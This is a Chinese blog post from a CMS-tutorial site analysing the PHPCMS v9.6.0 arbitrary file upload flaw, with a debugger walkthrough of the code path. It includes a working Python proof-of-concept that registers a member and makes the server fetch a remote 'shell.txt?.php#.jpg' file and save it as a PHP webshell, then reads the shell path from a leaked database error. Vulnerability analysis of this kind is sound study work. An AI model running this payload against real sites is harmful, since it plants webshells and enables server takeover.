您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程

PHPCMSv9.6.0任意文件上传漏洞分析

紫山2025-06-05phpcms教程已有人查阅

导读配置phpdebug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样)用户名和email都要随便生成,因为注册名不能相同

配置phpdebug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样)用户名和email都要随便生成,因为注册名不能相同,所以修改了下脚本。
import re
import requests
import sys
import random
def poc(url):
string=''
name = string.join(random.sample(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'], 10)).replace(" ", "")
u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': name,
'password': name+'1',
'email': name+'@test.com',
'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
'dosubmit': '1',
}
rep = requests.post(u, data=data)
shell = ''
re_result = re.findall(r'<img src=(.*)>', rep.content)
if len(re_result):
shell = re_result[0]
print shell
url=sys.argv[1]
poc(url)
查看帮助文档可以定位到具体的哪个文件 http://v9.help.phpcms.cn/html/2010/structure_0928/73.html
根据post提交的参数,问题出现在/phpcms/modules/member/index.php的文件中,可以知道是在register函数中,所以在info[content] 下断点。
打开phpstorm的右上角,进入监听模式,这时候访问网站是非常慢的。
执行一遍poc,跟进get函数 位于 /caches/caches_model/caches_data/member_input.class.php
可以看到
$data => <img src=http://url/shell.txt?.php#.jpg>
这是最开始经过trim_script 的函数进行转码跟到48行左右,可以看到如下图,$func的值为editor,组成函数,继续下跟来到/caches/caches_model/caches_data/member_input.class.php 第59-67行。
执行下来$value的值不变,进入download函数。
位于/phpcms/libs/classes/attachment.class.php 第143-187行。
大概就是根据日期创建文件夹然后判断://是否存在,接着跟进到fillurl函数, 位于/phpcms/libs/classes/attachment.class.php 位于280-344行。
function fillurl($surl, $absurl, $basehref = '')
$surl = http://url/shell.txt?.php#.jpg
$pos = strpos($surl,'#'); //strpos函数:查找字符串首次出现的位置,
if($pos>0) $surl = substr($surl,0,$pos); //返回$pos[0] 也就是http://url/shell.txt?.php
直接取后缀进行赋值,这时候的$filename的值是php,所以直接生成后缀为php的文件名,在进行copy操作。
这样就获取到shell了,在根据seebug的内容分析。
程序在下载之后回到了register函数中,(ps:用他的图片)
第150行处有个数据库相关的insert操作,将$userid加到$user_model_info数组里再进行数据库的插入操作(会员新增操作,对应的v9_member_detail数据表),先看下v9_member_detail的表结构:
只有userid和birthday字段,但由于$user_model_info数组已经包含了我们之前构造提交的info[content]=xxxxxx的内容,而在插入数据库的时候又没有content字段,所以会导致数据库报错,从而将我们构造的xxxxxx的内容给回显出来,所以就不用 去破解文件名了。

本文标签:

很赞哦! ()

相关源码

  • 帝国CMS7.2互联网自媒体门户整站带数据源码免费下载分享一款高仿极客网门户模板,帝国cms7.2版本,非常适合互联网、自媒体、文章门户网站使用。测法发现备份数据恢复报错,找了几个版本的都是一样的,有能力的自行修复查看源码
  • (PC+WAP)pbootcms模板黑色门窗定制五金建材网站下载为门窗定制与五金建材企业设计的网站解决方案,采用PbootCMS开发,兼具专业展示与营销功能。黑色系设计突显工业质感,响应式布局确保在手机、平板等设备上的浏览体验。通过简单的内容替换,也可适用于建材贸易、家具定制等相关行业。查看源码
  • 帝国CMS7.5漫画网站模板带手机端源码免费下载本模板为漫画内容平台设计开发,采用帝国CMS7.5内核构建,深度优化漫画作品展示结构与章节管理模式。前端采用响应式布局设计,适配各类漫画阅读场景,提供作品分类、连载追踪、热度排行等垂直领域功能模块。查看源码
  • (PC+WAP)蓝色低碳环保隔断板装修装饰类网站pbootcms源码下载本款基于PbootCMS开发的网站模板为活动隔断板、装修装饰行业打造,特别适合移动隔断、环保隔断、办公分区等产品的展示与推广。查看源码
  • 帝国CMS7.5H5小游戏模板游戏攻略下载网整站源码本模板基于帝国CMS系统开发,为H5小游戏和APP应用资讯类网站设计。模板架构针对小游戏行业特点优化,支持游戏发布、资讯分享、应用推荐等功能,满足各类小游戏门户网站的建设需求。查看源码
  • (自适应)宽屏大气的净水器智能电子设备网站pbootcms源码下载本模板基于PbootCMS内核开发,为净水器设备、智能电子设备企业量身打造,采用响应式设计技术,可快速构建专业级企业官网。通过本模板可高效展示产品技术参数、解决方案及企业服务优势。查看源码
分享笔记 (共有 篇笔记)
验证码:

本栏推荐